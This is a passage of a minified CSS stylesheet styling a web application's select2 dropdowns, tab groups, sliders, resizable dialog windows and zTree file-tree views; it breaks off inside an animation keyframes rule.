.select2-selection--single{border:1px solid #ccc;border-radius:4px;outline:none;min-height:32px;}span.select2-container--default .select2-selection--multiple .select2-selection__choice,span.select2-container--default .select2-selection--single .select2-selection__choice,span.select2-container--classic .select2-selection--multiple .select2-selection__choice,span.select2-container--classic .select2-selection--single .select2-selection__choice{background-color:#edf5ff;color:#3a96ff;border-color:#badaff;height:24px;line-height:22px;}span.select2-container--default .select2-selection--multiple .select2-selection__choice .select2-selection__choice__remove,span.select2-container--default .select2-selection--single .select2-selection__choice .select2-selection__choice__remove,span.select2-container--classic .select2-selection--multiple .select2-selection__choice .select2-selection__choice__remove,span.select2-container--classic .select2-selection--single .select2-selection__choice .select2-selection__choice__remove{float:right;font-size:15px;color:#3a96ff;width:20px;height:22px;line-height:18px;text-align:center;margin-right:-2px;}span.select2-container--default .select2-selection--multiple .select2-selection__choice .select2-selection__choice__remove:hover,span.select2-container--default .select2-selection--single .select2-selection__choice .select2-selection__choice__remove:hover,span.select2-container--classic .select2-selection--multiple .select2-selection__choice .select2-selection__choice__remove:hover,span.select2-container--classic .select2-selection--single .select2-selection__choice .select2-selection__choice__remove:hover{color:#0063d3;}span.select2-container--default.select2-container--focus .select2-selection--multiple,span.select2-container--default.select2-container--focus .select2-selection--single,span.select2-container--classic.select2-container--focus .select2-selection--multiple,span.select2-container--classic.select2-container--focus .select2-selection--single{border:1px solid #3a96ff;}span.select2-container--default .select2-selection--single,span.select2-container--classic .select2-selection--single{background:#f8f8f8 url("../../../images/common//bg.gif") 0px -10px repeat-x;}span.select2-container--default .select2-selection--single .select2-selection__arrow,span.select2-container--classic .select2-selection--single .select2-selection__arrow{height:30px;width:26px;}span.select2-container--default .select2-selection--multiple ul.select2-selection__rendered:after,span.select2-container--classic .select2-selection--multiple ul.select2-selection__rendered:after{content:"";width:23px;height:50%;display:block;color:#aaa;position:absolute;right:1px;top:50%;margin-top:-7px;text-align:center;font-family:FontAwesome;}span.select2-container--default .select2-selection--multiple .select2-search--inline,span.select2-container--classic .select2-selection--multiple .select2-search--inline{height:31px;line-height:23px;}span.select2-container--default .select2-results.group-list-content>.select2-results__options,span.select2-container--classic .select2-results.group-list-content>.select2-results__options{z-index:100;width:100%;height:250px;max-height:250px;}span.select2-container--default .select2-results__option,span.select2-container--classic .select2-results__option{position:relative;}span.select2-container--default .select2-search--inline .select2-search__field,span.select2-container--classic .select2-search--inline .select2-search__field{padding-top:1px;}span.select2-container--default .select2-results__option[aria-selected=true],span.select2-container--default .select2-results__option[aria-selected=true].select2-results__option--highlighted,span.select2-container--classic .select2-results__option[aria-selected=true],span.select2-container--classic .select2-results__option[aria-selected=true].select2-results__option--highlighted{background:#edf5ff;color:#3a96ff;}span.select2-container--default .select2-results__option[aria-selected=true]:after,span.select2-container--classic .select2-results__option[aria-selected=true]:after{content:"\f00c";color:#3a96ff;position:absolute;right:10px;font-size:14px;font-family:FontAwesome;}span.select2-container--default .select2-results__option--highlighted[aria-selected],span.select2-container--classic .select2-results__option--highlighted[aria-selected]{background-color:#eee;color:#444;}span.select2-container--default.select2-container--open.select2-container--above .select2-selection--single,span.select2-container--classic.select2-container--open.select2-container--above .select2-selection--single{border-top:1px solid transparent;}span.select2-container--default.select2-container--open.select2-container--below .select2-selection--multiple,span.select2-container--classic.select2-container--open.select2-container--below .select2-selection--multiple{border-bottom:1px solid transparent;}span.select2-container--default.select2-container--open .select2-dropdown.select2-dropdown--below,span.select2-container--classic.select2-container--open .select2-dropdown.select2-dropdown--below{border-color:#3a96ff;outline:none;box-shadow:0 0 20px #71c0ff;border-color:#bfcbd9;box-shadow:0 2px 4px rgba(0,0,0,0.12), 0 0 6px rgba(0,0,0,0.04);margin-top:-1px;}span.select2-container--default.select2-container--open .select2-dropdown.select2-dropdown--above,span.select2-container--classic.select2-container--open .select2-dropdown.select2-dropdown--above{border-color:#3a96ff;outline:none;box-shadow:0 0 20px #71c0ff;border-color:#bfcbd9;box-shadow:0 2px 4px rgba(0,0,0,0.12), 0 0 6px rgba(0,0,0,0.04);margin-top:1px;box-shadow:0 -2px 4px rgba(0,0,0,0.12), 0 0 6px rgba(0,0,0,0.04);}span.select2-container--default.select2-container--open .select2-selection--multiple,span.select2-container--default.select2-container--open .select2-selection--single,span.select2-container--classic.select2-container--open .select2-selection--multiple,span.select2-container--classic.select2-container--open .select2-selection--single{border-color:#3a96ff;outline:none;box-shadow:0 0 20px #71c0ff;border-color:#bfcbd9;box-shadow:0 2px 4px rgba(0,0,0,0.12), 0 0 6px rgba(0,0,0,0.04);}span.select2-container--default .ztree,span.select2-container--classic .ztree{padding:0;}span.select2-container--default .ztree li a,span.select2-container--classic .ztree li a{padding-left:0;height:26px;line-height:26px;border:none;margin:0;border-radius:0;}span.select2-container--default .ztree li a.this,span.select2-container--classic .ztree li a.this{background:#edf5ff;border:none;height:26px;line-height:26px;}span.select2-container--default .ztree li a.this:hover,span.select2-container--classic .ztree li a.this:hover{color:#3a96ff;}span.select2-container--default .ztree li a:hover,span.select2-container--classic .ztree li a:hover{border:none;margin:0;border-radius:0;color:#3a96ff;}span.select2-container--default .ztree .check-icon,span.select2-container--classic .ztree .check-icon{float:right;color:#fff;font-size:12px;text-align:center;width:15px;height:15px;line-height:15px;padding:0;margin-top:5px;margin-right:5px;-webkit-transition:all .1s ease-in-out;-moz-transition:all .1s ease-in-out;-o-transition:all .1s ease-in-out;-ms-transition:all .1s ease-in-out;transition:all .1s ease-in-out;}span.select2-container--default .ztree .check-icon:before,span.select2-container--classic .ztree .check-icon:before{content:"\f";}span.select2-container--default .ztree a.this .check-icon:before,span.select2-container--classic .ztree a.this .check-icon:before{content:"\f00c";color:#3a96ff;}body .select2-container{width:270px;margin-right:10px;}.tab-group{text-align:center;margin-bottom:-12px;padding:0;position:relative;z-index:999;}.tab-group .tab-item{background:#fff;text-align:left;display:inline-block;margin-left:-5px;border:1px solid #ccc;border-bottom-color:#a6a6a6;border-right-color:#b8b8b8;}.tab-group .tab-item:hover{background:#f6f6f6;}.tab-group .tab-item:first-child{border-top-left-radius:3px;border-bottom-left-radius:3px;}.tab-group .tab-item:last-child{border-top-right-radius:3px;border-bottom-right-radius:3px;}.tab-group .tab-item a{text-decoration:none;color:#444;padding:0 15px;height:24px;display:inline-block;line-height:24px;}.tab-group .tab-item.active a{color:#fff;}.tab-group .tab-item.active,.tab-group .tab-item.active:hover{filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#6eb4f7', endColorstr='#1a82fb');background-image:-webkit-linear-gradient(to bottom,#6eb4f7 0,#1a82fb 100%);background-image:-moz-linear-gradient(to bottom,#6eb4f7 0,#1a82fb 100%);background-image:-o-linear-gradient(to bottom,#6eb4f7 0,#1a82fb 100%);background-image:-ms-linear-gradient(to bottom,#6eb4f7 0,#1a82fb 100%);background-image:linear-gradient(to bottom,#6eb4f7 0,#1a82fb 100%);-pie-background:linear-gradient(to to bottom,#6eb4f7 0,#1a82fb 100%);color:#fff;z-index:10;border-color:#3f87dc;border-top-color:#4396e6;border-color:#388df8 #388df8 #0866dc transparent;}.tab-group .tab-item.active:hover,.tab-group .tab-item.active:active{filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#6eb4f7', endColorstr='#1a82fb');background-image:-webkit-linear-gradient(to bottom,#6eb4f7 0,#1a82fb 80%);background-image:-moz-linear-gradient(to bottom,#6eb4f7 0,#1a82fb 80%);background-image:-o-linear-gradient(to bottom,#6eb4f7 0,#1a82fb 80%);background-image:-ms-linear-gradient(to bottom,#6eb4f7 0,#1a82fb 80%);background-image:linear-gradient(to bottom,#6eb4f7 0,#1a82fb 80%);-pie-background:linear-gradient(to to bottom,#6eb4f7 0,#1a82fb 80%);}.tab-group .tab-item:last-child.active,.tab-group .tab-item.active + .tab-item{border-left:none;}body .slider .slider-track{background:#ddd;box-shadow:none;}body .slider.slider-horizontal .slider-track{height:6px;}body .slider .slider-selection{transition:background-color .3s ease;background:#2196f3;box-shadow:none;}body .slider .slider-handle{margin-left:-7px;margin-top:-6px;width:14px;height:14px;cursor:pointer;border-radius:50%;border:2px solid #88c7f4;background:#fff;transition:border-color .3s ease, transform .3s cubic-bezier(.18,.89,.32,1.28);}body .slider .slider-handle.round:hover{box-shadow:0 0 0 6px rgba(150,219,250,0.7);}body .slider .tooltip{transition:all 0.168s cubic-bezier(0,0.84,0.58,1);}body .slider .tooltip.top{margin-top:-43px;}body .slider .tooltip.bottom{margin-top:20px;}body .slider .tooltip.top .tooltip-arrow{border-top-color:rgba(0,0,0,0.7);}body .slider .tooltip.bottom .tooltip-arrow{border-bottom-color:rgba(0,0,0,0.7);}body .slider .tooltip-inner{background-color:rgba(0,0,0,0.7);box-shadow:0 1px 5px rgba(0,0,0,0.2);padding:8px 15px;}body .dialog-plugin-config.dialog-no-title.form-dialog-has-menu .aui-outer .aui-buttons{box-shadow:0 0 20px #ddd;border-top:1px solid #eee;height:45px;padding-top:5px;border-top:none;background:#fff;}body .dialog-plugin-config.dialog-no-title.form-dialog-has-menu .form-box.config-box .panel-body{left:130px;}body .dialog-plugin-config.dialog-no-title.form-dialog-has-menu .tab-group{position:absolute;left:0;padding:0;width:140px;height:100%;padding-top:20px;z-index:99999;background:#f5f7fa;}body .dialog-plugin-config.dialog-no-title.form-dialog-has-menu .tab-group .tab-item{display:block;border:none;background:none;border-radius:0;font-size:14px;-webkit-transition:0.16s all;-moz-transition:0.16s all;-o-transition:0.16s all;-ms-transition:0.16s all;transition:0.16s all;}body .dialog-plugin-config.dialog-no-title.form-dialog-has-menu .tab-group .tab-item:hover{background:#eee;}body .dialog-plugin-config.dialog-no-title.form-dialog-has-menu .tab-group .tab-item:first-child,body .dialog-plugin-config.dialog-no-title.form-dialog-has-menu .tab-group .tab-item:last-child{border-radius:0;}body .dialog-plugin-config.dialog-no-title.form-dialog-has-menu .tab-group .tab-item a{padding:0 20px 0 15px;display:block;height:40px;line-height:40px;text-align:right;white-space:nowrap;text-overflow:ellipsis;overflow:hidden;}body .dialog-plugin-config.dialog-no-title.form-dialog-has-menu .tab-group .tab-item.active a{color:#2196F3;}body .dialog-plugin-config.dialog-no-title.form-dialog-has-menu .tab-group .tab-item.active,body .dialog-plugin-config.dialog-no-title.form-dialog-has-menu .tab-group .tab-item.active:hover{background:#fff;}body .dialog-plugin-config.dialog-no-title.form-dialog-has-menu .tab-group .tab-item.active:hover,body .dialog-plugin-config.dialog-no-title.form-dialog-has-menu .tab-group .tab-item.active:active{background:#fff;}body .dialog-plugin-config.dialog-no-title.form-dialog-has-menu .tab-group .tab-item.active:hover a,body .dialog-plugin-config.dialog-no-title.form-dialog-has-menu .tab-group .tab-item.active:active a{color:#2196F3;}body .dialog-plugin-config.dialog-no-title.form-dialog-has-menu .tab-group .tab-item:last-child.active,body .dialog-plugin-config.dialog-no-title.form-dialog-has-menu .tab-group .tab-item.active + .tab-item{border-left-color:transparent;}body .dialog-plugin-config.dialog-form-style-mac .form-box.config-box .form-header{height:40px;border-bottom:1px solid #bbb;filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#d3d1d3', endColorstr='#e7e5e7');background-image:-webkit-linear-gradient(bottom,#d3d1d3 0%,#e7e5e7 100%);background-image:-moz-linear-gradient(bottom,#d3d1d3 0%,#e7e5e7 100%);background-image:-o-linear-gradient(bottom,#d3d1d3 0%,#e7e5e7 100%);background-image:-ms-linear-gradient(bottom,#d3d1d3 0%,#e7e5e7 100%);background-image:linear-gradient(bottom,#d3d1d3 0%,#e7e5e7 100%);-pie-background:linear-gradient(to bottom,#d3d1d3 0%,#e7e5e7 100%);}body .dialog-plugin-config.dialog-form-style-mac .form-box.config-box .form-header .modal-title{height:40px;line-height:40px;padding-left:20px;font-size:12px;}body .dialog-plugin-config.dialog-form-style-mac .form-box.config-box .form-header .modal-title img,body .dialog-plugin-config.dialog-form-style-mac .form-box.config-box .form-header .modal-title .x-item-file{height:22px;width:22px;margin-right:4px;}body .dialog-plugin-config.dialog-form-style-mac .form-box.config-box .form-row .setting-title{text-align:right;}body .dialog-plugin-config.dialog-form-style-mac .form-box.config-box .form-row.form-userSelect .setting-content{background:#f4f4f4;}body .dialog-plugin-config.dialog-form-style-mac .form-box.config-box .form-row.error .setting-content{background:#ffefed;}body .dialog-plugin-config.dialog-form-style-mac .form-box.config-box .panel-body{background:#eee;border:1px solid #e3e3e3;margin:20px;top:60px;bottom:30px;}body .dialog-plugin-config.dialog-form-style-mac .form-box.config-box .panel-body .line,body .dialog-plugin-config.dialog-form-style-mac .form-box.config-box .panel-body hr{background:none;border-bottom:1px dotted #ddd;}body .dialog-plugin-config.dialog-form-style-mac h1,body .dialog-plugin-config.dialog-form-style-mac h2,body .dialog-plugin-config.dialog-form-style-mac h3,body .dialog-plugin-config.dialog-form-style-mac h4,body .dialog-plugin-config.dialog-form-style-mac h5{border-color:#ddd;}body .dialog-plugin-config.dialog-form-style-mac .tab-group{position:absolute;margin-top:25px;width:100%;z-index:999;}body .dialog-plugin-config.dialog-form-style-mac .aui-content{background:#f9f9f9;}body .dialog-plugin-config.dialog-form-style-mac .aui-outer .aui-title{height:40px;}body .dialog-plugin-config.dialog-form-style-mac .aui-outer .aui-buttons{padding-right:20px;height:30px;border-top:1px solid #ddd;filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#f2f4f7', endColorstr='#f5f7fa');background-image:-webkit-linear-gradient(left,#f2f4f7 0%,#f5f7fa 100%);background-image:-moz-linear-gradient(left,#f2f4f7 0%,#f5f7fa 100%);background-image:-o-linear-gradient(left,#f2f4f7 0%,#f5f7fa 100%);background-image:-ms-linear-gradient(left,#f2f4f7 0%,#f5f7fa 100%);background-image:linear-gradient(left,#f2f4f7 0%,#f5f7fa 100%);-pie-background:linear-gradient(to left,#f2f4f7 0%,#f5f7fa 100%);background:#f9f9f9;border:none;}body .dialog-plugin-config.dialog-form-style-mac .aui-outer .aui-buttons button{margin-top:1px;margin-left:20px;padding:0 2em;height:25px;}.message-box{position:absolute;top:15%;left:0px;z-index:88;background:#63acff;color:#fff;opacity:0.7;filter:alpha(opacity=70);-webkit-border-radius:1px;-moz-border-radius:1px;border-radius:1px;-webkit-box-shadow:0 10px 60px rgba(0,0,0,0.6);-moz-box-shadow:0 10px 60px rgba(0,0,0,0.6);box-shadow:0 10px 60px rgba(0,0,0,0.6);display:none;}.message-box .content{padding:10px 30px;line-height:20px;width:auto;}.aui-outer{text-align:left;position:relative;}.aui-mask{position:absolute;width:100%;height:100%;background:#fff;opacity:0.01;filter:alpha(opacity=1);}.aui-loading{height:100%;width:100%;overflow:hidden;opacity:0.7;filter:alpha(opacity=70);top:16px;position:absolute;left:0;z-index:9999;text-align:center;text-indent:-999em;}.aui-loading span{width:80px;height:80px;border-radius:6px;background:#fff url("../../../images/common/dialog/dialog_loading.gif") no-repeat center center;position:absolute;left:50%;top:50%;margin-left:-40px;margin-top:-40px;}table.aui-border,table.aui-dialog{width:100%;border:0;margin:0;border-collapse:collapse;}.aui-nw,.aui-n,.aui-ne,.aui-w,.aui-c,.aui-e,.aui-sw,.aui-s,.aui-se,.aui-header,.aui-td-icon,.aui-main,.aui-footer{padding:0;}.aui-header,.aui-buttons button{font:12px/1.11;}.aui-title{overflow:hidden;text-overflow:ellipsis;font-size:1em;}.aui-title img,.aui-title .x-item-file{width:20px;margin-right:5px;border-radius:4px;cursor:pointer;pointer-events:all;}.aui-title img:hover,.aui-title .x-item-file:hover{transform:scale(1.1,1.1);}.aui-state-no-title .aui-title{display:none;}.aui-main{font-size:1.1em;text-align:center;background:#FFF;min-width:9em;min-width:0 \9;visibility:auto;}.aui-content{text-align:left;color:#666;border:none 0;}.aui-content{width:100%;height:100%;}.aui-content.aui-state-full{display:block;width:100%;margin:0;padding:0 !important;height:100%;}.aui-icon{vertical-align:middle;background:#fff;}.aui-icon div{width:48px;height:48px;margin:10px 0 10px 10px;background-position:center center;background-repeat:no-repeat;}.aui-buttons{padding:10px 8px;text-align:right;white-space:nowrap;background-color:#F6F6F6;border-top:solid 1px #DADEE5;}.aui-buttons button{margin-left:15px;padding:3px 20px;height:25px;cursor:pointer;display:inline-block;text-align:center;line-height:1;overflow:visible;color:#000000;border:none;background:#aaa;color:#fff;}.aui-buttons button:focus{outline:none 0;}.aui-buttons button:hover{background:#c4c4c4;}.aui-buttons button:active{background:#777777;}.aui-buttons button[disabled]{cursor:default;color:#919191;background:#aaa;opacity:0.5;filter:alpha(opacity=50);}.aui-buttons button::-moz-focus-inner{border:0;padding:0;margin:0;}.aui-buttons button.aui-state-highlight{color:#FFF;background:#63acff;}.aui-buttons button.aui-state-highlight:hover{color:#FFF;background:#96c7ff;}.aui-buttons button.aui-state-highlight:active{background:#0076fc;}.aui-buttons button.disable,.aui-buttons button.disabled{opacity:0.3;filter:alpha(opacity=30);}.aui-outer{border:0px solid #63acff;-webkit-box-shadow:0px 5px 20px rgba(0,0,0,0.6);-moz-box-shadow:0px 5px 20px rgba(0,0,0,0.6);box-shadow:0px 5px 20px rgba(0,0,0,0.6);-webkit-transition:box-shadow 0.1s opacity 0.2s;-moz-transition:box-shadow 0.1s opacity 0.2s;-o-transition:box-shadow 0.1s opacity 0.2s;-ms-transition:box-shadow 0.1s opacity 0.2s;transition:box-shadow 0.1s opacity 0.2s;}.aui-state-lock .aui-nw,.aui-state-lock .aui-n,.aui-state-lock .aui-ne,.aui-state-lock .aui-w,.aui-state-lock .aui-e,.aui-state-lock .aui-sw,.aui-state-lock .aui-s,.aui-state-lock .aui-se{background:rgba(0,0,0,0.5);background:#000 \9 !important;opacity:0.5;filter:alpha(opacity=50);}.aui-title-bar{position:relative;height:100%;}.aui-title{height:31px;line-height:30px;padding:0 28px 0 10px;color:#fff;background-color:#7dbaff;}.aui-state-focus .aui-mask{display:none;}.aui-state-focus .aui-outer{-webkit-box-shadow:0px 5px 40px rgba(0,0,0,0.7);-moz-box-shadow:0px 5px 40px rgba(0,0,0,0.7);box-shadow:0px 5px 40px rgba(0,0,0,0.7);}.aui-state-focus .aui-title{background-color:#63acff;}.aui-state-drag .aui-title{cursor:move;cursor:-webkit-grabbing;cursor:grabbing;}.aui-min,.aui-max,.aui-close{display:block;position:absolute;text-decoration:none;outline:none;cursor:pointer;font-size:1.25em;-webkit-transition:all 0.2s;-moz-transition:all 0.2s;-o-transition:all 0.2s;-ms-transition:all 0.2s;transition:all 0.2s;color:#fff;border-top:none;top:0px;height:22px;width:35px;font-size:1.15em;line-height:22px;text-align:center;background-color:transparent;height:24px;width:38px;line-height:25px;color:#ffffff;font-family:FontAwesome;}.aui-min:hover,.aui-max:hover,.aui-close:hover{text-decoration:none;color:#fff;background-color:#1783ff;}.aui-close:hover{background:#cc0000;}.aui-min{right:82px;content:"\f068";}.aui-max{right:43px;content:"\f065";}.aui-close{right:5px;content:"\f00d";}.aui-min:before{content:"\f068";}.aui-max:before{content:"\f065";}.aui-close:before{content:"\f00d";}.aui-max,.aui-min{display:none;}.aui-state-no-title .aui-nw,.aui-state-no-title .aui-ne,.aui-state-no-title .aui-sw,.aui-state-no-title .aui-se{width:5px;height:5px;}.aui-state-no-title .aui-title-bar{bottom:0;_bottom:0;_margin-top:0;}.aui-state-no-title .aui-outer{box-shadow:none !important;border:none !important;}.aui-state-no-title .aui-inner{border:1px solid #aaa;}.aui-state-no-title .tips{padding:15px;padding-left:10px;}.aui-state-no-title .aui-nw,.aui-state-no-title .aui-n,.aui-state-no-title .aui-ne,.aui-state-no-title .aui-w,.aui-state-no-title .aui-e,.aui-state-no-title .aui-sw,.aui-state-no-title .aui-s,.aui-state-no-title .aui-se{background:rgba(0,0,0,0.1);background:#000 \9 !important;filter:alpha(opacity=10)!important;}.aui-state-no-title .aui-close,.aui-state-no-title .aui-max,.aui-state-no-title .aui-min{display:none;font-size:1em;}.dialog-max .aui-nw,.dialog-max .aui-ne,.dialog-max .aui-sw,.dialog-max .aui-se,.dialog-max .aui-w,.dialog-max .aui-e{width:0px;}.dialog-max .aui-sw,.dialog-max .aui-n,.dialog-max .aui-se{height:0px;}.dialog-max .aui-outer{border:none !important;}.dialog-can-resize .resize-handle{position:absolute;z-index:999999;display:block;}.dialog-can-resize .resize-top{cursor:n-resize;top:-3px;left:0px;height:7px;width:100%;}.dialog-can-resize .resize-bottom{cursor:s-resize;bottom:-3px;left:0px;height:7px;width:100%;}.dialog-can-resize .resize-right{cursor:e-resize;right:-3px;top:0px;width:7px;height:100%;}.dialog-can-resize .resize-left{cursor:w-resize;left:-3px;top:0px;width:7px;height:100%;}.dialog-can-resize .resize-bottom-right{cursor:se-resize;width:18px;height:18px;right:-7px;bottom:-7px;background:url('../../../images/common/dialog/resize_corner.png') no-repeat;opacity:0.4;filter:alpha(opacity=40);}.dialog-can-resize .resize-bottom-left{cursor:sw-resize;width:15px;height:15px;left:-7px;bottom:-7px;}.dialog-can-resize .resize-top-left{cursor:nw-resize;width:15px;height:15px;left:-7px;top:-7px;}.dialog-can-resize .resize-top-right{cursor:ne-resize;width:15px;height:15px;right:-5px;top:-7px;}.dialog-can-resize .aui-min,.dialog-can-resize .aui-max{display:block;}.dialog-min-size{width:250px !important;height:30px !important;}.dialog-min-size.dialog-no-title .aui-title,.dialog-min-size .aui-title{opacity:1 !important;}.dialog-min-size .aui-outer{width:250px;}.dialog-min-size .aui-header{height:30px;}.dialog-min-size .aui-title{text-align:left;padding-left:10px;}.dialog-min-size .aui-main,.dialog-min-size .aui-footer{display:none;}.dialog-min-size .resize-handle{display:none;}.dialog-simple.dialog-min-size .aui-title-bar{background:rgba(0,0,0,0.5);}.dialog-no-title .aui-title-bar{position:absolute;z-index:99999;width:100%;height:30px;top:0;}.dialog-no-title .aui-title{opacity:0.01 !important;filter:alpha(opacity=1) !important;}.dialog-no-title .aui-inner{border:none;}.dialog-no-title .aui-nw,.dialog-no-title .aui-n,.dialog-no-title .aui-ne,.dialog-no-title .aui-w,.dialog-no-title .aui-e,.dialog-no-title .aui-sw,.dialog-no-title .aui-s,.dialog-no-title .aui-se{display:none;}.dialog-no-title .aui-outer .aui-min{right:80px;}.dialog-no-title .aui-outer .aui-min:before{content:"\f068" !important;}.dialog-no-title .aui-outer .aui-max{right:40px;}.dialog-no-title .aui-outer .aui-max:before{content:"\f065" !important;}.dialog-no-title .aui-outer .aui-close{right:0px;}.dialog-no-title .aui-outer .aui-close:before{content:"\f00d" !important;}.dialog-no-title .aui-outer .aui-min,.dialog-no-title .aui-outer .aui-max,.dialog-no-title .aui-outer .aui-close{display:block;position:absolute;text-decoration:none;outline:none;font-size:1.25em;-webkit-transition:all 0.1s;-moz-transition:all 0.1s;-o-transition:all 0.1s;-ms-transition:all 0.1s;transition:all 0.1s;color:#fff;top:0px;cursor:pointer;height:30px;line-height:30px;text-align:center;background-color:transparent;width:40px;font-family:FontAwesome;border:none;background-image:none;border-radius:0;}.dialog-no-title .aui-outer .aui-min:hover,.dialog-no-title .aui-outer .aui-max:hover,.dialog-no-title .aui-outer .aui-close:hover{color:#fff;border:none;box-shadow:none;background:#41acf8;background:rgba(0,0,0,0.4);}.dialog-no-title .aui-outer .aui-close:hover{background:#e81123;background:rgba(232,17,35,0.8);}.dialog-no-title.header-bg .aui-content .header{height:90px;background-color:#008def;background-image:linear-gradient(to bottom,#084998 0,#00a9fb 100%);color:#fff;position:relative;}.dialog-no-title.header-bg .aui-content .header .bg{background:url("../../../images/common/banner/box.png") 180px -220px no-repeat;width:100%;height:100%;position:absolute;opacity:0.7;}.dialog-no-title.dialog-max .aui-outer .aui-max{right:40px;}.dialog-no-title.dialog-max .aui-outer .aui-max:before{content:"\f066" !important;}body div.dialog-simple .aui-title-bar{width:100%;position:relative;bottom:0;height:100%;}body div.dialog-simple .aui-border{border:none;overflow:auto;}body div.dialog-simple .aui-outer{border:none;border-radius:none;box-shadow:none;background:none;}body div.dialog-simple .aui-inner{border:none;background:none;}body div.dialog-simple .aui-nw,body div.dialog-simple .aui-n,body div.dialog-simple .aui-ne,body div.dialog-simple .aui-w,body div.dialog-simple .aui-e,body div.dialog-simple .aui-sw,body div.dialog-simple .aui-s,body div.dialog-simple .aui-se{background:none;}body div.dialog-simple .aui-title{background:rgba(0,0,0,0.8);opacity:0.8;filter:alpha(opacity=80);border-radius:3px;border:none;height:31px;line-height:30px;padding:0 28px 0 10px;color:#fff;}body div.dialog-simple .aui-min,body div.dialog-simple .aui-max,body div.dialog-simple .aui-close{border:none;top:5px;position:absolute;text-decoration:none;outline:none;cursor:pointer;background-color:rgba(255,255,255,0.3);color:#fff;opacity:0.5;filter:alpha(opacity=50);height:22px;width:22px;font-size:1.15em;line-height:22px;text-align:center;border-radius:4px;font-family:FontAwesome;}body div.dialog-simple .aui-min:hover,body div.dialog-simple .aui-max:hover,body div.dialog-simple .aui-close:hover{text-decoration:none;color:#fff;background-color:#cc0000;}body div.dialog-simple .aui-min:active,body div.dialog-simple .aui-max:active,body div.dialog-simple .aui-close:active{color:fff;background-color:#f00;}body div.dialog-simple .aui-main{background:none !important;}body div.dialog-simple .aui-max{right:30px;}body div.dialog-simple .aui-min{right:56px;}body div.dialog-simple .aui-dialog,body div.dialog-simple .aui-border{background:none;}body div.dialog-simple .resize-bottom-right{background:none !important;}body div.dialog-simple .aui-header{opacity:0.01;filter:alpha(opacity=1);border:1px solid rgba(0,0,0,0.01);border-bottom:none;}body div.dialog-simple .aui-nw,body div.dialog-simple .aui-ne{height:0px;}body div.dialog-simple.aui-state-drag .aui-header,body div.dialog-simple .dialog-mouse-in .aui-header{opacity:1.0;filter:alpha(opacity=100);}body div.dialog-simple.aui-state-drag .aui-header{opacity:1.0;filter:alpha(opacity=100);}body div.dialog-simple.dialog-max .aui-header{opacity:1.0;filter:alpha(opacity=100);}.ztree{margin:0px;padding:10px 0px;font-size:1em;}.ztree li{padding:0;margin:0;list-style:none;text-align:left;white-space:nowrap;outline:0;}.ztree li ul{margin:0;padding:0;}.ztree li.level0{margin-bottom:4px;}.ztree li.level0>span.tree_icon{width:20px;}.ztree li span{line-height:24px;}.ztree li span.button{line-height:0;margin:0;display:inline-block;vertical-align:middle;cursor:pointer;outline:none;background-color:transparent;background-repeat:no-repeat;height:24px;width:20px;margin-right:5px;}.ztree li span.button.switch{width:25px;height:25px;margin-right:0px;background:none;text-align:center;line-height:25px;}.ztree li span.button.switch:hover{background:rgba(0,0,0,0.03);}.ztree li span.button.switch:after{content:"\f0da";font-family:FontAwesome;color:#aaa;text-decoration:inherit;font-size:1.25em;line-height:16px;padding-left:6px;-webkit-font-smoothing:antialiased;}.ztree li span.button.switch.noline_docu:after{content:' ';}.ztree li span.button.switch.noline_open:after,.ztree li span.button.switch.noline_open_hover:after{content:"\f0d7";}.ztree li span.button.switch.switch_hover:after{color:#63acff;}.ztree li span.button.ico_loading{background:url("../../../images/common/loading_tree.gif") no-repeat 0 0px transparent !important;}.ztree li span.button.ico_loading .x-item-file{display:none;}.ztree li span.tree_icon{height:21px;width:21px;background:none;overflow:hidden;}.ztree li span.tree_icon img{width:100%;max-width:100%;max-height:100%;}.ztree li a{padding-top:0px;cursor:pointer;text-decoration:none;display:block;margin:0;color:#333;vertical-align:top;line-height:24px;height:24px;padding-left:10px;border:1px solid #fff;position:relative;}.ztree li a:hover{text-decoration:none;-webkit-transition:all 0.1s;-moz-transition:all 0.1s;-o-transition:all 0.1s;-ms-transition:all 0.1s;transition:all 0.1s;background:#eee;height:24px;border:1px solid #eee;}.ztree li a.curSelectedNode,.ztree li a.curDropTreeNode{border:1px solid #63acff;background:#63acff;line-height:24px;height:24px;color:#fff;}.ztree li a.curSelectedNode .button.switch:after,.ztree li a.curDropTreeNode .button.switch:after{color:#fff !important;}.ztree li a.curDropTreeNode{box-shadow:0 0 0 1px #fff inset !important;}.ztree li a.curSelectedNode_Edit{border:1px solid #63acff;background:#63acff;color:black;height:24px;}.ztree li a input.rename{height:24px;line-height:24px;padding:0;margin:0;border:none;outline:none;margin-left:-3px;padding-left:3px;width:106px;position:absolute;margin-top:0;}.ztree li a span.button.root_docu,.ztree li a span.button.noline_docu{background:none;}.ztree li a .menu-item{display:none;position:absolute;right:4px;top:4px;width:14px;height:13px;box-sizing:content-box;text-align:center;border:1px solid #ccc;background:#fff;border-radius:2px;cursor:pointer;z-index:50;}.ztree li a .menu-item:hover{border-color:#3399ff;background:#dff1ff;box-shadow:0 0 5px rgba(0,0,0,0.1);}.ztree li a .menu-item:hover .cert{border-top-color:#3399ff;}.ztree li a .menu-item .cert{margin-top:5px;margin-left:3px;width:0;height:0;border-left:4px solid transparent;border-right:4px solid transparent;border-top:5px solid silver;}.ztree li a:hover .menu-item,.ztree li a.curSelectedNode .menu-item{display:block;}ul.ztree.zTreeDragUL{margin:0;padding:0;position:absolute;width:auto;height:auto;background-color:#63acff;border:1px solid #63acff;opacity:0.5;filter:alpha(opacity=50);}ul.ztree.zTreeDragUL li a span.space{display:none !important;}ul.ztree.zTreeDragUL li a{padding:4px 10px 0 10px;color:#fff;}ul.ztree.zTreeDragUL li span.button.switch{display:none;}.ztree li a.tmpTargetNode_inner{background:#0076fc;border:1px solid #3091ff;color:#fff;}.ztree li a.tmpTargetNode_prev{border-bottom:1px solid #f96;}.ztree li a.tmpTargetNode_next{border-bottom:1px solid #f96;}span.tmpzTreeMove_arrow{display:inline-block;margin:4px 0 0 2px;position:absolute;border-color:transparent transparent transparent #fff;border-style:solid;border-width:7px 0px 7px 7px;width:0;height:0;_border-top-color:white;_border-bottom-color:white;_filter:chroma(color=white);}.frame-left .ztree li .file{line-height:0;margin:0;display:inline-block;vertical-align:middle;cursor:pointer;outline:none;background-color:transparent;background-repeat:no-repeat;height:22px;width:18px;margin-right:5px;}@-webkit-keyframes fadein{0%{ opacity:0;} 50%{ 